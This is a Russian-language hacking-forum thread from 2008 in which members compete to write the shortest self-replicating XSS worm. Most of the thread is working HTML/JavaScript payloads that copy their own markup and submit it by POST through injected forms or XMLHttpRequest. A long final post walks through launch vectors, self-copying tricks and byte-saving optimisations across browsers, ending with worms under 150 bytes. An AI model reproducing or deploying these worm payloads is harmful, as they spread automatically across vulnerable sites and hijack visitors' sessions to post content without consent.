Malware 2.0 : XSS Worm Competition

Discussion in 'Уязвимости' started by Евгений Минаев, 15 Jan 2008.

  1. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    Воистину , на javascript творят чудеса и даже любой деструктивный подход вроде xss червя является результатом множественных исследований . Нам надо всего лишь создать маленькое чудо , причем чем меньше тем лучше , которое отправит свой собственный код на скрипт . Учитываться также будет кроссбраузерность , думаю , таких браузеров как FireFox второй ветки и шестого IE будет достаточно для испытания . Для упрощения задачи сделал форму которая разместит на странице ваш скрипт и скрипт a.php который выведет то что на него послали посредством POST в переменной xss.Длину считать полностью , те допустим от тега <script до его закрывающего </script> , а не только содержимое.Пока что мой код умещается в 162 символа.

    Пишем код в форме , жмем кнопку и смотрим результат.Ничего не режется , вывелась ли ваша xss можно глянуть любым http снифером по обращениям к скрипту a.php

    Подрубать скрипт с других сайтов нельзя

    www.underwater.itdefence.ru/xssed/xssed.php
     
    #1 Евгений Минаев, 15 Jan 2008
    Last edited: 15 Jan 2008
    4 people like this.
  2. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    162, фф
    PHP:
    <img src=. onerror="with(appendChild(createElement('form')))submit(i=createElement('input'),i.name='xss',i.value='x',appendChild(i),action='a.php',method='post')"
     
    _________________________
    #2 +toxa+, 15 Jan 2008
    Last edited: 15 Jan 2008
  3. Евгений Минаев

    Евгений Минаев Elder - Старейшина

    Joined:
    12 Nov 2007
    Messages:
    55
    Likes Received:
    169
    Reputations:
    159
    PHP:
    <img src=. onerror="with(new XMLHttpRequest)(open('POST','a.php'),setRequestHeader('content-type','application/x-www-form-urlencoded'),send('xss='+this.onerror))"
     
  4. zeppe1in

    zeppe1in Elder - Старейшина

    Joined:
    12 Jul 2006
    Messages:
    343
    Likes Received:
    66
    Reputations:
    18
    Я что то не понял куда и что выводит a.php. И потом ваши скрипты помоему не отправляют весь свой собственный код.
     
  5. V1k

    V1k Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    38
    Likes Received:
    32
    Reputations:
    13
    123, Opera & IE
    PHP:
    </form><form id=z method=post action=a.php ><input name=xss /><body onload=z.xss.value=z.parentNode.outerHTML;z.submit() >
    upd:
    оказывается, только javascript
    ну пусть остается пока..
     
    #5 V1k, 15 Jan 2008
    Last edited: 15 Jan 2008
    2 people like this.
  6. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    1) 141, FF

    два небольших креативчика и -21

    PHP:

    <body onload="with(new XMLHttpRequest)(open('POST','a.php'),setRequestHeader('content-type','multipart/form-data'),send('xss='+this.onload))"

    2) юзаем готовую форму в полной мере, ибо по правилам нет запрета, если яваскриптом

    A) 105, FF & IE 6.0

    PHP:

    <img src=. onerror="with(forms[0])submit(action='a.php',e=elements[0],e.name='xss',e.value=this.onerror)"

    Б) 107, Multi

    PHP:

    <body onload="with(document.forms[0])submit(action='a.php',e=elements[0],e.name='xss',e.value=this.onload)"

    3) самый малый размер "червя", использующего форму, созданную средствами DOM (вариант от +toxa+), можно получить для IE 6.0-7.0

    166, IE 6.0-7.0

    PHP:

    <img src=. onerror="with(body.appendChild(createElement('<form action=a.php method=post>')))submit(appendChild(createElement('<input name=xss>')).value=this.onerror)"

     
    #6 LeverOne, 17 Jan 2008
    Last edited: 18 Jan 2008
    4 people like this.
  7. LeverOne

    LeverOne Elder - Старейшина

    Joined:
    22 Feb 2006
    Messages:
    52
    Likes Received:
    128
    Reputations:
    115
    Также хочется сказать о давно минувшем первом конкурсе...

    Здесь можно почитать о нем более подробно: _http://habrahabr.ru/blogs/infosecurity/18906

    Приведу оттуда условия, которым должен был соответствовать xss-червь:

    автор перевода: sunnybear
    автор условий: RSnake

    Код червя победителя (161 байт):

    Code:
    <form><input name="content"><img src="" onerror="with(parentNode)alert('XSS',submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',155)))">
    
    авторы* данного кода: mal, sirdarckcat

    * их варианты отличаются друг от друга только порядком команд.

    Важные следствия из условий.

    1. Код червя должен отвечать условиям при запуске как на странице, где нет вообще никакого иного кода, так и на странице, где иной код есть.

    2. Принцип достаточной вероятности. Присваивая id, можно не задумываться о его уникальности. Между тем, наличие аналогичного id у тегов в оригинальном коде страницы могло бы сделать червя неработоспособным. Мы пренебрегаем этой вероятностью, учитывая, что на практике мы сможем соблюсти уникальность id. Принцип достаточной вероятности допускает перенебрежение особыми случаями расположения кода червя в оригинальном коде страницы. Например, есть вероятность, что код расположится в теге title (и тогда не сработает без доработки), но мы можем оставлять без внимания и эти ситуационные вероятности.

    3. Размер считается не в символах, а в байтах, что имеет значение в условиях использования вышеуказанных кодировок.

    4. Изменение размера кода при итерациях возможно в сторону уменьшения в случае пререхода от исполнения одим браузером к исполнению другим, при этом код должен быть готов к переходу на другой браузер в любой момент. Размер его, идущий в зачет, будет считаться в наиболее широком варианте.

    5. Нельзя использовать знания о DOM-дереве, потому что невозможно предположить, где именно на странице будет расположен червь. Обращение к n-ному тегу допустимо только тогда, когда мы знаем, что именно n-ный элемент существует.

    6. Код должен быть отослан в пост-параметре "content". При этом не имеет значения, отсылается ли что-либо в других параметрах, и существуют ли они.

    Прежде обобщим некоторую информацию

    I. Способы запуска, их размеры

    A) 26
    Code:
    <body onload=alert('XSS')>
    
    B) 27 - равнозначен А) и поэтому далее опускается
    Code:
    <body onfocus=alert('xss')>
    
    С) 28
    Code:
    <iframe onload=alert('xss')>
    
    D) 29
    Code:
    <script>alert('xss')</script>
    
    E) 30
    Code:
    <marquee onstart=alert('xss')>
    
    F) 31
    Code:
    <img onerror=alert('xss') src=>
    
    G) 44
    Code:
    <input type=image onerror=alert('xss') src=>
    
    Неподходящие под условия варианты, требующие значительных действий юзера
    H) фокус на текстовом поле
    Code:
    <input onfocus=alert('xss')>
    
    I) потеря фокуса текстового поля
    Code:
    <input onblur=alert('xss')>
    
    J) движение курсора по полю
    Code:
    <input onMouseMove=alert('xss')>
    
    Все эти способы использовались и участниками конкурса.

    II. Способы самокопирования

    * выдел подстроки с помощью match()
    48
    Code:
    `<iframe onload="body.innerHTML.match(/`.+`/)">`
    53
    Code:
    `<img onerror="body.innerHTML.match(/`.+`/)" src="">`
    60 - только FF
    Code:
    <body id="w" onload="w.parentNode.innerHTML.match(/<bo.+/)">
    61 - только FF
    Code:
    <script id="s">s.parentNode.innerHTML.match(/<sc.+/)</script>
    66 - только FF
    Code:
    <marquee onstart="this.parentNode.innerHTML.match(/&lt;ma.{70}/)">
    68
    Code:
    `<input type="image" onerror="body.innerHTML.match(/`.+`/)" src="">`
    * выдел тега с помощью innerHTML
    57
    Code:
    <b><img src="" onerror="parentNode.innerHTML.bold()"></b>
    60
    Code:
    <b><script id="s">s.parentNode.innerHTML.bold()</script></b>
    61
    Code:
    <b><iframe onload="parentNode.innerHTML.bold()"></iframe></b>
    69
    Code:
    <b><marquee onstart="this.parentNode.innerHTML.bold()"></marquee></b>
    с тегом body данный способ, как и следующий, нецелесообразен, т.к. родителький по отношению к нему только тег html
    * выдел подстроки с помощью slice()
    59
    Code:
    <b><iframe onload="'<b>'+parentNode.innerHTML.slice(0,56)">
    65
    Code:
    <b><img onerror="parentNode.innerHTML.bold().slice(0,65)" src="">
    67
    Code:
    <b><script id="s">'<b>'+s.parentNode.innerHTML.slice(0,64)</script>
    67
    Code:
    <b><marquee onstart="this.parentNode.innerHTML.bold().slice(0,74)">
    * самокопирование с повтором способа запуска
    62
    Code:
    <script id=s>'<script id=s>'+s.innerHTML+'<\/script>'</script>
    IV. Способы отправки пост-запроса

    Ajax или Form?

    Ajax

    Этот способ позволяет уместить весь код в один тег.
    Давайте определим, на сколько с неизбежностью должен будет увеличиться код только при той идее, что мы будем использовать ajax. При этом мы абстрагируемся от способа запуска и способа самокопирования.

    119
    Code:
    with(new XMLHttpRequest)open('POST','post.php'),setRequestHeader('content-type','multipart/form-data'),send('content=')
    
    ИТОГО: 119+48(затраты на минимальное самокопирование и запуск)+12(затраты на "alert('xss')") = 179 символов на код как минимум, а на самом деле больше за счет соединительных элементов.
    Этот простой подсчет говорит об одном: ajax для целей создания меньшего червя, чем червь-победитель, не годится.

    Способы создания форм

    1) Средствами DOM, как видно из вышеприведенных постов, большое количество символов уходит на создание и привязку элемента к дереву.

    Допустим, что мы имеем контекст document (это имеет место в случаях запуска C), F) и D) ) тогда средствами DOM код развернется следующим образом:
    125
    Code:
    with(body.appendChild(createElement('form')))appendChild(createElement('input')).name='content',action=(method='post')+'.php'
    
    Любое дальнейшее сокращение отрицает средства DOM
    107
    Code:
    with(body.appendChild(createElement('form')))innerHTML='<input name=content>',action=(method='post')+'.php'
    
    2) Cоздание формы посредством HTML предполагает, необходимость последующего копирования этой формы с помощью innerHTML (если форма будет содержать атрибуты) или "ручное" добавление тега формы в строку (именно этот способ был использован в червях-победителях).

    Теперь, что из этого короче.

    а) Тег form со всеми атрибутами

    27
    Code:
    method=post action=post.php
    
    Однако, когда мы скопируем эти атрибуты через innerHTML, при вставке в строку они преобразуются в
    31
    Code:
    method="post" action="post.php"
    
    Поэтому мы изначально должны закладывать 31 символ, чтобы избежать увеличения кода при дальнейшем самораспространении

    б) Тег form с динамическим добавлением атрибутов

    вот так какие-либо преимущества отсутствуют
    31
    Code:
    method='post',action='post.php'
    но в общем-то достаточно быстро догадались, как этот код можно сократить
    29
    Code:
    action=(method='post')+'.php'
    
    Таким образом, абстрактно, мы видим, что HTML-форма c динамическим добавлением атрибутов предпочтительнее формы посредством DOM

    3) Добавление формы через innerHTML

    В этом случае, при котором мы используем innerHTML не для копирования в строку, а для добавления кода, мы сами можем определять форму представления этого кода.

    Например,
    Code:
    innerHTML='<form action=post.php method=post>'
    
    в неизменном виде будет оставаться и далее, вследствие чего очевидна выгода даже по сравнению с вариантом html-формы (2).
    27
    Code:
    method=post action=post.php
    
    V. Минимальный червь

    Теперь попробуем, используя эти предварительные подсчеты, создать минимального червя, отвечающего всем условиям.

    Во-первых, мы видели, что самым коротким способом запуска, при котором сохраняется контекст document, является способ С).

    Исходя из этого элементарного вывода мы уже можем сократить червя-победителя на 5 символов (байтов)
    156
    Code:
    <form><input name="content"><iframe onload="alert('XSS');with(parentNode)submit(content.value='<form>'+innerHTML.slice(action=(method='post')+'.php',150))">
    Барьер в 160 байт преодолен. В дальнейшем Я буду ориентироваться на размер в 156 символов.

    Во-вторых, мы видели, что самым наилучшим способом самокопирования показал себя способ через match в совокупности с iframe, а способ создания формы - через динамическое добавление в innerHTML

    Делай раз!

    Вот червь, который уже превосходит даже усовершенствованного червя-победителя
    155
    Code:
    `<iframe onload="with(body.innerHTML+='<form id=f method=post action=post.php><input name=content>')f.submit(f.content.value=match(/`.+`/));alert('xss')">`
    Делай два!

    И 10 символов с червя-победителя долой.
    151
    Code:
    `<iframe onload="with(body)innerHTML='<form action=post.php id=f method=post><textarea name=content>'+innerHTML.match(/`.+`/);f.submit(alert('xss'))">`
    Делай три!

    149
    Code:
    `<iframe onload="body[i='innerHTML']='<form action=post.php id=f method=post><textarea name=content>'+body[i].match(/`.+`/);f.submit(alert('xss'))">`
    В нем, как видите, преодолён барьер в 150 байт. Тонкий момент заключается в том, что несмотря на обращение к body, мы не используем ситуационное знание о DOM, поскольку тег iframe всегда будет оказываться в body.

    VI. Иные интересные варианты

    1) spyware - 129 Doesn't work in Firefox 2.0.0.11

    Code:
    ý<FORM action=post.php method=post><INPUT onfocus="alert('xss');value=body.innerHTML.slice(/ý.*/);submit();" name=content></FORM>
    иные несоответствия условиям:
    - увеличение при самокопировании:прикол с методом slice не работает, вследствие чего код имеет тенденцию к неограниченному увеличению
    - требует участия юзера в виде фокусировки на текстовом поле.

    глубокая мысль:
    из тега input можно обращаться и к нему самому, и сабмитить form непосредственно (двойной контекст).

    что можно сделать?
    146
    Code:
    `<form><input type="image" src="" name="content" onerror="value=body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`
    несоответствие условиям:
    - используются ситуационные знания о месте расположения червя в DOM дереве.

    Дело в том, что этот червь будет работать только тогда, когда он расположен в body.
    Если код будет расположен в head, червь испортится. Причина тому - тег form в head.
    Посмотрите сами результат в IE:
    Code:
    <html>
    <head>
    `<form><input type="image" src="" name="content" onerror="alert(body.innerHTML.match(/`.+`/))">`
    </head>
    <body>
    </body>
    </html>
    
    Что еще можно сделать?
    155
    Code:
    <form>`<input type="image" src="" name="content" onerror="value='<form>'+body.innerHTML.match(/`.+`/);alert('xss');submit(action=(method='post')+'.php')">`
    этот червь также превосходит усовершенствованного червя-победителя и соответствует всем условиям
    2) sdc - 160 Works in FF with no growth but doesn't work in IE7.0
    Code:
    <form><INPUT name="content"><IMG src="" onerror="with(z=parentNode)submit(action=(method='post')+'.php',z[0].value='<form>'+innerHTML.slice(alert('XSS'),154))">
    К элементу формы возможен доступ через порядковый индекс (в рассматриваемом случае - z[0]). Но работает это только в FF, если мы обращаемся к тегу form посредством DOM. В IE такое обращение возможно только при испольковании идентификатора

    ronald - 141 Doesn't work in Firefox 2.0.0.11
    Code:
    <form id=_><input name="content"><script>_[0].value='<form id=_>'+_.innerHTML+alert('XSS');_.action=(_.method='post')+'.php';_.submit()</script>
    Действительно, казалось бы, можно было бы сократить код так:
    154
    Code:
    <form id=f><input name="content"><iframe onload="alert('XSS');with(f)submit(f[0].value='<form id=f>'+innerHTML.slice(action=(method='post')+'.php',143))">
    или даже так
    153
    Code:
    <form><input id="i" name="content"><iframe onload="alert('XSS');with(i.form)submit(i.value='<form>'+innerHTML.slice(action=(method='post')+'.php',147))">
    Однако же в IE такой червь портится, если свойство innerHTML брать посредством обращения к форме не средствами DOM (не через parentNode), поэтому данные пространственные оптимизации оказываются бесполезными, с точки зрения кроссбраузерности.
     
    #7 LeverOne, 26 Oct 2008
    Last edited: 28 Oct 2008
    2 people like this.